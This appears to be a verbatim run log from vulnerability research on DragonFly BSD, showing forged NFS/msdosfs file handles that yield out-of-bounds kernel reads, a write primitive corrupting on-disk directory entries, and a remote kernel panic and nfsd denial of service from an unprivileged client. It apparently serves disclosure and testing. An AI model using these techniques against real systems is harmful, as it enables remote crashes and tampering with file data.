# DF-3157 baseline run log (verbatim captured outputs, stock kernel #0,
# DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026)
# guest setup: vnconfig vn0 /tmp/fat16.img; mount -t msdos /dev/vn0 /fat;
# /etc/exports: /fat -network 127.0.0.0 -mask 255.255.255.0 -maproot=0
# rpcbind; mountd; nfsd -t -u   (NFSv3 udp 2049, mountd v3 udp 858)

$ rpcinfo -p 127.0.0.1 | grep -E "100003|100005"
    100005    1   udp    858  mountd
    100005    3   udp    858  mountd
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs

# real root fh from mountd GETFH (root, privileged src port 800):
$ /tmp/df3157 mountdump
fh len=28 bytes: 07 08 11 1e 03 00 00 00 0c 00 00 00 00 00 00 00 ff ff ff 1f 00 00 00 00 00 00 00 00
#  -> fsid(8) + defid{len=12, pad, dirclust=0, dirofs=0x1fffffff(MSDOSFSROOT_OFS)}

# LOCAL syscall path (fhstat == same VFS_FHTOVP -> msdosfs_fhtovp -> deget as nfsd):
$ /tmp/fhtest 0 0
fhstat(0,0) = 0 -> ino=1 size=0 mode=40755 uid=0 mtime=1704110400
$ /tmp/fhtest 0 32
fhstat(0,32) = 0 -> ino=4113 size=512 mode=100755 uid=0 mtime=1704110400      # VICTIM.DAT dirent
$ /tmp/fhtest 2 0
fhstat(2,0) = 0 -> ino=4368 size=512 mode=40755 uid=0 mtime=1704110400        # SUB "." entry
$ /tmp/fhtest 3 0
fhstat(3,0) = 0 -> ino=4384 size=1145258561 mode=100555 uid=0 mtime=1704110400
#   ^^^^^^^^^^^^ 1145258561 = 0x44434241 = "ABCD" -- bytes 28..31 of VICTIM.DAT
#   DATA CONTENT returned as st_size: arbitrary in-volume 32-byte read PROVEN
$ /tmp/fhtest 3 28
fhstat(3,28) = 0 -> ino=357968 size=1024 mode=40755 uid=0 mtime=1677063044
$ /tmp/fhtest 3 511
fhstat(3,511) = 0 -> ino=1 size=0 mode=40555 uid=0 mtime=315360000
#   reads 31 bytes PAST the 512-byte buffer; heap garbage (mtime=0x12CE0FC0)
#   internalized and returned via stat -- OOB READ LEAK PROVEN
$ /tmp/fhtest 100 0
fhstat(100,0) = 0 -> ino=5936 size=1024 mode=40755 uid=0 mtime=4214616944
#   cluster 100 = free-space filler 0xf6 read as dirent
# console during the above:
deget(): "." entry at clust 0 != 2
deget(): "." entry at clust 100 != 63222

# WRITE PRIMITIVE (root-local fhopen of forged fh; the NFS SETATTR path
# reaches the same deupdat without needing open):
$ md5 /fat/VICTIM.DAT
MD5 (/fat/VICTIM.DAT) = 099625b4deefb63bce7c460083c93a48
$ /tmp/fhtest 3 0 write
fhopen(3,0) = fd 3 -- issuing setattr
futimes = 0 errno=0
fchmod = 0 errno=0
$ /tmp/fhtest 3 0
fhstat(3,0) = 0 -> ... mtime=1599999998          # dirty-buffer readback = exactly the set second
$ sync; dd if=/dev/vn0 bs=512 skip=274 count=1 | hexdump -C | head -3
00000000  56 49 43 54 49 4d 44 41  54 41 56 6b 00 00 00 60  |VICTIMDATAVk...`|
00000010  21 58 2d 51 00 00 53 63  2d 51 03 00 41 42 43 44  |!X-Q..Sc-Q..ABCD|
00000020  56 56 56 56 56 56 56 56 ...
#   byte 11: 4b -> 6b (fchmod attrs); bytes 22..25: 2d 51 53 63 = FAT(mtime 0x512d,
#   mdate 0x6353) = futimes(1599999999) -- 32-byte externalized dirent WRITTEN at the
#   forged location inside VICTIM.DAT's data cluster, persisted to disk. PROVEN.

# REMOTE (nfsd) PATH, unprivileged RPC client (uid 1001):
$ ... /tmp/df3157 getattr 0 32
   -> Fatal trap 12: page fault while in kernel mode   [GUEST DOWN]
      (see panic.txt / panic_capture.txt; 3/3 deterministic)
$ ... /tmp/df3157 setattr 0 511 1599999999
   -> rpc timeout; nfsd server thread wedged (NULL/GETATTR after: timeout)
      guest otherwise alive                            [nfsd DoS]